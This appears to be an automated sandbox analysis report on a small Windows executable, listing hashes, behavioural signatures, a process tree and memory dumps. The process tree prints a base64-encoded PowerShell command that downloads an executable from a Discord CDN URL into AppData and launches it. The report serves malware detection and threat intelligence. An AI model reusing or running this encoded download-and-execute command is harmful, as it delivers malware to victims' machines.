Analysis
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max time kernel
46s -
max time network
50s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
13-11-2022 17:21
Static task
static1
Behavioral task
behavioral1
Sample
871f23d521f271b63ea5d3041e097cc5.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
871f23d521f271b63ea5d3041e097cc5.exe
Resource
win10v2004-20220901-en
General
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Target
871f23d521f271b63ea5d3041e097cc5.exe
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Size
5KB
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MD5
871f23d521f271b63ea5d3041e097cc5
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SHA1
33c118c290f67790a188d523c8afc5c3159de978
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SHA256
697e12598f923f1b5dcf2d81dc8db9cd944977cfcb9687575307118181f7c43e
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SHA512
a39a6521e1e6db0c8facce2d773a15c6520bfe12f694273d30b187cb534a89c65e776341431ef15ab7fb7a63cbade578caeb2e718821aba82cc4c6cc4e0de271
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SSDEEP
96:jf79xkCFvY5c/bUquGm5tlNtUqrGueGCd3oj8Erl:n9xPFg5AUquxXNtUqrlCdG
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 968 powershell.exe 6 968 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 968 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 968 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
871f23d521f271b63ea5d3041e097cc5.exedescription pid process target process PID 1992 wrote to memory of 968 1992 871f23d521f271b63ea5d3041e097cc5.exe powershell.exe PID 1992 wrote to memory of 968 1992 871f23d521f271b63ea5d3041e097cc5.exe powershell.exe PID 1992 wrote to memory of 968 1992 871f23d521f271b63ea5d3041e097cc5.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZABsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAwADkAMwAxADgAMgAyADUANAAyADAAMAAwADEANAA5AC8AMQAwADQAMAA5ADMAOAA3ADgANQAxADgANwAzADEAMQA2ADIANgAvAEMAUgAuAGUAeABlACcALAAgADwAIwB3AGMAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AYwByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAZwBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAKQA8ACMAawB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBtAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAbQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAPAAjAG4AaABqACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:968
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/968-56-0x0000000000000000-mapping.dmp
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memory/968-60-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
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memory/968-59-0x000007FEF5BF0000-0x000007FEF674D000-memory.dmpFilesize
11.4MB
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memory/968-61-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
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memory/968-62-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
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memory/968-63-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
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memory/968-64-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
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memory/1992-54-0x0000000000E20000-0x0000000000E28000-memory.dmpFilesize
32KB
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memory/1992-55-0x000007FEFBE81000-0x000007FEFBE83000-memory.dmpFilesize
8KB